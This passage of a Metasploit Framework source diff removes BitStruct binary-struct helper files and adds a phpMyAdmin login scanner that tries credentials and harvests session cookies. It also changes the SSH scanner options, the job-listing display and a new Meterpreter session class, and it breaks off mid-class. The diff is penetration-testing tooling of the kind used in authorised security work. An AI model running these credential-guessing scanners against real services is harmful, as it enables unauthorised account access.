val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,249 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for unsigned integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.unsigned.
|
||||
class UnsignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "unsigned"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "S" : "L"
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[offset_byte] & mask) >> rest) / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[offset_byte] & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[offset_byte] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[offset_byte]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[byte_range].unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[byte_range].unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
((bytes.unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
(bytes.unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,78 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/vector'
|
||||
|
||||
class BitStruct
|
||||
# Class for embedding a BitStruct::Vector as a field within a BitStruct.
|
||||
# Declared with BitStruct.vector.
|
||||
class VectorField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "vector"
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def class_name
|
||||
@class_name ||= vector_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
# Returns the subclass of Vector that is used to manage the value of this
|
||||
# field. If the class was specified in the BitStruct.vector declaration,
|
||||
# #vector_class will return it, otherwise it will be an anonymous class
|
||||
# (which you can assign to a constant to make nonymous ;).
|
||||
def vector_class
|
||||
@vector_class ||= options[:vector_class] || options["vector_class"]
|
||||
end
|
||||
|
||||
def describe opts # :nodoc:
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
vector_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
vc = vector_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
vc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != vc
|
||||
warn "Type mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,174 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Vector is, like a BitStruct, a String. It retains all of the String
|
||||
# methods, except for #[], #[]=, and #each. These methods operate on entries
|
||||
# instead of chars. Other methods, including #length and #slice, are unchanged.
|
||||
# Hence a Vector can be used directly with sockets, binary files, etc.
|
||||
#
|
||||
# Note that Vector is not a subclass of BitStruct. It cannot be used in
|
||||
# a #nest declaration in a BitStruct. Instead, use the #vector declaration.
|
||||
# See BitStruct::VectorField.
|
||||
#
|
||||
# Different instances of the same Vector class may have different lengths, and
|
||||
# a single instance can change its length. The length should always be a
|
||||
# multiple of the struct size.
|
||||
class BitStruct::Vector < String
|
||||
include Enumerable
|
||||
|
||||
@default_options = {}
|
||||
@struct_class = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@struct_class = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Called as a class method with a single argument in a user-defined
|
||||
# subclass to specify a particular BitStruct class to use for each entry,
|
||||
# instead of generating an anonymous class. Called without arguments to
|
||||
# access the struct class, generating an anonymous one if needed.
|
||||
# The struct_class inherits from the struct_class of the parent Vector
|
||||
# class.
|
||||
def struct_class cl = nil
|
||||
if cl
|
||||
if @struct_class
|
||||
warn "changing struct_class in #{self} to #{cl}"
|
||||
end
|
||||
@struct_class = cl
|
||||
@struct_class.default_options default_options
|
||||
else
|
||||
unless @struct_class
|
||||
@struct_class = self == BitStruct::Vector ? BitStruct :
|
||||
Class.new(superclass.struct_class)
|
||||
@struct_class.default_options default_options
|
||||
end
|
||||
end
|
||||
@struct_class
|
||||
end
|
||||
|
||||
def method_missing(*a, &block) # :nodoc:
|
||||
struct_class.send(*a, &block)
|
||||
end
|
||||
|
||||
alias :orig_respond_to? :respond_to?
|
||||
def respond_to?(*m) # :nodoc:
|
||||
orig_respond_to?(*m) || struct_class.respond_to?(*m)
|
||||
end
|
||||
|
||||
# Get or set the hash of default options for the class, which apply to all
|
||||
# fields in the entries. If +h+ is provided, update the default options
|
||||
# with that hash. Default options are inherited.
|
||||
#
|
||||
# This is especially useful with the <tt>:endian => val</tt> option.
|
||||
def default_options h = nil
|
||||
@default_options ||= superclass.default_options.dup
|
||||
if h
|
||||
@default_options.merge! h
|
||||
if @struct_class
|
||||
@struct_class.default_options h
|
||||
end
|
||||
end
|
||||
@default_options
|
||||
end
|
||||
|
||||
def describe(*args)
|
||||
fmt = args[0] || BitStruct.describe_format
|
||||
if block_given?
|
||||
struct_class.describe(*args){|desc| yield desc}
|
||||
yield ["..."]*5
|
||||
else
|
||||
struct_class.describe(*args) + [fmt % (["..."]*5)]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the BitStruct class that
|
||||
# describes each entry.
|
||||
def struct_class
|
||||
self.class.struct_class
|
||||
end
|
||||
|
||||
# Convenience method for instances. Returns the string length in bytes of
|
||||
# each entry in the vector.
|
||||
def struct_class_length
|
||||
self.class.struct_class.round_byte_length
|
||||
end
|
||||
|
||||
# +arg+ can be an integer (number of entries) or a string
|
||||
# (binary data, such as another Vector of the same size).
|
||||
def initialize arg # :yields: instance
|
||||
case arg
|
||||
when Integer
|
||||
super(struct_class.initial_value * arg)
|
||||
|
||||
else
|
||||
begin
|
||||
super arg
|
||||
rescue NameError
|
||||
raise ArgumentError, "must be string or integer: #{arg.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
# Get the +i+-th entry. Returns a *copy* of the entry. If you want to
|
||||
# use this copy to modify the entry, you must modify the copy and then
|
||||
# use #[]= to replace the entry with the copy.
|
||||
def [](i)
|
||||
sc = self.class.struct_class
|
||||
entry_length = sc.round_byte_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
sc.new slice(entry_length * i, entry_length)
|
||||
end
|
||||
|
||||
alias _old_replace_substr []=
|
||||
|
||||
# Set the +i+-th entry to +val+.
|
||||
def []=(i,val)
|
||||
entry_length = struct_class_length
|
||||
|
||||
unless (0...(length / entry_length)).include? i
|
||||
raise ArgumentError, "index out of range: #{i}"
|
||||
end
|
||||
|
||||
unless val.length == entry_length
|
||||
raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}"
|
||||
end
|
||||
|
||||
_old_replace_substr(entry_length * i, entry_length, val)
|
||||
end
|
||||
|
||||
## TODO: [i..j] etc.
|
||||
|
||||
# Iterate over entries.
|
||||
def each
|
||||
entry_length = struct_class_length
|
||||
(length / entry_length).times do |i|
|
||||
yield self[i]
|
||||
end
|
||||
end
|
||||
|
||||
def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS)
|
||||
if opts[:include_class]
|
||||
opts = opts.dup
|
||||
opts[:include_class] = false
|
||||
s = self.class.inspect + ": "
|
||||
else
|
||||
s = ""
|
||||
end
|
||||
|
||||
s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator])
|
||||
lb, rb = opts[:brackets]
|
||||
[lb, s, rb].join
|
||||
end
|
||||
|
||||
def inspect_detailed
|
||||
inspect(BitStruct::DETAILED_INSPECT_OPTS)
|
||||
end
|
||||
end
|
||||
@@ -1,70 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'yaml'
|
||||
|
||||
class BitStruct
|
||||
if RUBY_VERSION == "1.8.2"
|
||||
def is_complex_yaml? # :nodoc:
|
||||
true
|
||||
end
|
||||
|
||||
YAML.add_ruby_type(/^bitstruct/) do |type, val|
|
||||
subtype, subclass = YAML.read_type_class(type, Object)
|
||||
subclass.new(val)
|
||||
end
|
||||
|
||||
def to_yaml_type # :nodoc:
|
||||
"!ruby/bitstruct:#{self.class}"
|
||||
end
|
||||
|
||||
def to_yaml( opts = {} ) # :nodoc:
|
||||
opts[:DocType] = self.class if Hash === opts
|
||||
YAML.quick_emit(self.object_id, opts) do |out|
|
||||
out.map(to_yaml_type) do |map|
|
||||
fields.each do |field|
|
||||
fn = field.name
|
||||
map.add(fn, send(fn))
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
yaml_as "tag:path.berkeley.edu,2006:bitstruct"
|
||||
|
||||
def to_yaml_properties # :nodoc:
|
||||
yaml_fields = fields.select {|field| field.inspectable?}
|
||||
props = yaml_fields.map {|f| f.name.to_s}
|
||||
if (rest_field = self.class.rest_field)
|
||||
props << rest_field.name.to_s
|
||||
end
|
||||
props
|
||||
end
|
||||
|
||||
# Return YAML representation of the BitStruct.
|
||||
def to_yaml( opts = {} )
|
||||
YAML::quick_emit( object_id, opts ) do |out|
|
||||
out.map( taguri, to_yaml_style ) do |map|
|
||||
to_yaml_properties.each do |m|
|
||||
map.add( m, send( m ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def self.yaml_new( klass, tag, val ) # :nodoc:
|
||||
unless Hash === val
|
||||
raise YAML::TypeError, "Invalid BitStruct: " + val.inspect
|
||||
end
|
||||
|
||||
bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct )
|
||||
|
||||
st = bitstruct_type.new
|
||||
|
||||
val.each do |k,v|
|
||||
st.send( "#{k}=", v )
|
||||
end
|
||||
|
||||
st
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,158 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class PhpMyAdmin < HTTP
|
||||
DEFAULT_PORT = 4848
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # shorter name
|
||||
|
||||
# @!attribute php_my_admin
|
||||
# @return [String] cookie pma à mettre dans la prochaine requete
|
||||
attr_accessor :php_my_admin
|
||||
|
||||
# @!attribute token
|
||||
# @return [String] token requete
|
||||
attr_accessor :token
|
||||
|
||||
# @!attribute pmaUser_1
|
||||
# @return [String] pmaUser-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaUser_1
|
||||
|
||||
# @!attribute pmaPass_1
|
||||
# @return [String] pmaPass-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaPass_1
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => uri})
|
||||
return "Connection failed" if res.nil?
|
||||
if !([200, 302].include?(res.code))
|
||||
return "Unexpected HTTP response code #{res.code} (is this really phpMyAdmin ?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if self.php_my_admin == '' && res && res.get_cookies =~ /(phpMyAdmin=[a-z0-9]+;)/i
|
||||
self.php_my_admin = res.get_cookies.match(/ (phpMyAdmin=[a-z0-9]+;)/)[1]
|
||||
end
|
||||
if self.pmaPass_1 == '' && res && res.get_cookies =~ /(pmaPass-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaPass_1 = $1
|
||||
end
|
||||
if self.pmaUser_1 == '' && res && res.get_cookies =~ /(pmaUser-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaUser_1 = $1
|
||||
end
|
||||
if self.token == ''
|
||||
tokens = res.body.match(/<input type="hidden" name="token" value="(\w+)"/)
|
||||
self.token = (tokens.nil?) ? '' : tokens[-1]
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def do_login(username, password)
|
||||
# on recupere les cookies/token
|
||||
send_request({'uri' => "#{uri}index.php"})
|
||||
|
||||
data = "pma_username=#{username}&"
|
||||
data << "pma_password=#{password}&"
|
||||
data << "token=#{self.token}"
|
||||
|
||||
opts = {
|
||||
'uri' => "#{uri}index.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.pmaUser_1} #{self.php_my_admin}",
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request(opts)
|
||||
if is_logged_in
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => self.pmaPass_1}
|
||||
end
|
||||
|
||||
return {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
|
||||
end
|
||||
|
||||
|
||||
def is_logged_in
|
||||
url_verif = "#{uri}index.php?token=#{self.token}"
|
||||
|
||||
cookies = "#{self.pmaPass_1} #{self.pmaUser_1} #{self.php_my_admin}"
|
||||
|
||||
res = send_request({
|
||||
'uri' => url_verif,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => cookies
|
||||
}
|
||||
})
|
||||
|
||||
return (res.body.include? 'Log out')
|
||||
end
|
||||
|
||||
|
||||
# Attemps to login to the server.
|
||||
#
|
||||
# @param [Metasploit::Framework::Credential] credential The credential information.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
# Default Result
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
self.php_my_admin = ''
|
||||
self.pmaUser_1 = ''
|
||||
self.pmaPass_1 = ''
|
||||
self.token = ''
|
||||
# Merge login result
|
||||
begin
|
||||
result_opts.merge!(do_login(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
# Return the Result object
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'net/ssh'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'rex/socket/ssh_factory'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -47,12 +48,14 @@ module Metasploit
|
||||
# @note The caller *must* close {#ssh_socket}
|
||||
def attempt_login(credential)
|
||||
self.ssh_socket = nil
|
||||
factory = Rex::Socket::SSHFactory.new(framework,framework_module, proxies)
|
||||
opt_hash = {
|
||||
:port => port,
|
||||
:disable_agent => true,
|
||||
:config => false,
|
||||
:verbose => verbosity,
|
||||
:proxies => proxies
|
||||
:port => port,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:verbose => verbosity,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
}
|
||||
case credential.private_type
|
||||
when :password, nil
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.12.5"
|
||||
VERSION = "4.12.15"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -401,7 +401,7 @@ class ReadableText
|
||||
])
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
|
||||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
@@ -431,7 +431,7 @@ class ReadableText
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.advanced?
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
@@ -456,7 +456,7 @@ class ReadableText
|
||||
|
||||
mod.options.sorted.each do |name, opt|
|
||||
next unless opt.evasion?
|
||||
val = mod.datastore[name] || opt.default
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
@@ -510,19 +510,14 @@ class ReadableText
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework to dump.
|
||||
# @param opts [Hash] the options to dump with.
|
||||
# @option opts :session_ids [Array] the list of sessions to dump (no
|
||||
# effect).
|
||||
# @option opts :verbose [Boolean] gives more information if set to
|
||||
# true.
|
||||
# @option opts :indent [Integer] set the indentation amount.
|
||||
# @option opts :col [Integer] the column wrap width.
|
||||
# @return [String] the formatted list of sessions.
|
||||
def self.dump_sessions(framework, opts={})
|
||||
ids = (opts[:session_ids] || framework.sessions.keys).sort
|
||||
verbose = opts[:verbose] || false
|
||||
show_extended = opts[:show_extended] || false
|
||||
indent = opts[:indent] || DefaultIndent
|
||||
col = opts[:col] || DefaultColumnWrap
|
||||
|
||||
return dump_sessions_verbose(framework, opts) if verbose
|
||||
|
||||
@@ -580,12 +575,8 @@ class ReadableText
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework to dump.
|
||||
# @param opts [Hash] the options to dump with.
|
||||
# @option opts :session_ids [Array] the list of sessions to dump (no
|
||||
# effect).
|
||||
# @return [String] the formatted list of sessions.
|
||||
def self.dump_sessions_verbose(framework, opts={})
|
||||
ids = (opts[:session_ids] || framework.sessions.keys).sort
|
||||
|
||||
out = "Active sessions\n" +
|
||||
"===============\n\n"
|
||||
|
||||
@@ -656,10 +647,10 @@ class ReadableText
|
||||
# @param col [Integer] the column wrap width.
|
||||
# @return [String] the formatted list of running jobs.
|
||||
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
|
||||
columns = [ 'Id', 'Name', "Payload", "LPORT" ]
|
||||
columns = [ 'Id', 'Name', "Payload", "Payload opts" ]
|
||||
|
||||
if (verbose)
|
||||
columns += [ "URIPATH", "Start Time" ]
|
||||
columns += [ "URIPATH", "Start Time", "Handler opts" ]
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
@@ -668,34 +659,41 @@ class ReadableText
|
||||
'Columns' => columns
|
||||
)
|
||||
|
||||
# jobs are stored as a hash with the keys being a numeric job_id.
|
||||
framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|
|
||||
# jobs are stored as a hash with the keys being a numeric String job_id.
|
||||
framework.jobs.keys.sort_by(&:to_i).each do |job_id|
|
||||
# Job context is stored as an Array with the 0th element being
|
||||
# the running module. If that module is an exploit, ctx will also
|
||||
# contain its payload.
|
||||
ctx = framework.jobs[k].ctx
|
||||
row = [ k, framework.jobs[k].name ]
|
||||
row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname)
|
||||
exploit_mod, _payload_mod = framework.jobs[job_id].ctx
|
||||
row = []
|
||||
row[0] = job_id
|
||||
row[1] = framework.jobs[job_id].name
|
||||
|
||||
# Make the LPORT show the bind port if it's different
|
||||
local_port = ctx[0].datastore['LPORT']
|
||||
bind_port = ctx[0].datastore['ReverseListenerBindPort']
|
||||
lport = (local_port || "").to_s
|
||||
if bind_port && bind_port != 0 && bind_port != lport
|
||||
lport << " (#{bind_port})"
|
||||
end
|
||||
row << lport
|
||||
pinst = exploit_mod.respond_to?(:payload_instance) ? exploit_mod.payload_instance : nil
|
||||
|
||||
if (verbose)
|
||||
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
|
||||
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
|
||||
uripath = ctx[0].datastore['LURI'] if uripath.nil?
|
||||
row << (uripath || "")
|
||||
row << (framework.jobs[k].start_time || "")
|
||||
if pinst.nil?
|
||||
row[2] = ""
|
||||
row[3] = ""
|
||||
else
|
||||
row[2] = pinst.refname
|
||||
row[3] = ""
|
||||
if pinst.respond_to?(:payload_uri)
|
||||
row[3] << pinst.payload_uri
|
||||
end
|
||||
if pinst.respond_to?(:luri)
|
||||
row[3] << pinst.luri
|
||||
end
|
||||
end
|
||||
|
||||
if verbose
|
||||
uripath = exploit_mod.get_resource if exploit_mod.respond_to?(:get_resource)
|
||||
uripath ||= exploit_mod.datastore['URIPATH']
|
||||
row[4] = uripath
|
||||
row[5] = framework.jobs[job_id].start_time
|
||||
row[6] = pinst.respond_to?(:listener_uri) ? pinst.listener_uri : ""
|
||||
end
|
||||
tbl << row
|
||||
}
|
||||
end
|
||||
|
||||
return framework.jobs.keys.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active jobs.\n"
|
||||
end
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_armle_Linux < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'armle/linux'
|
||||
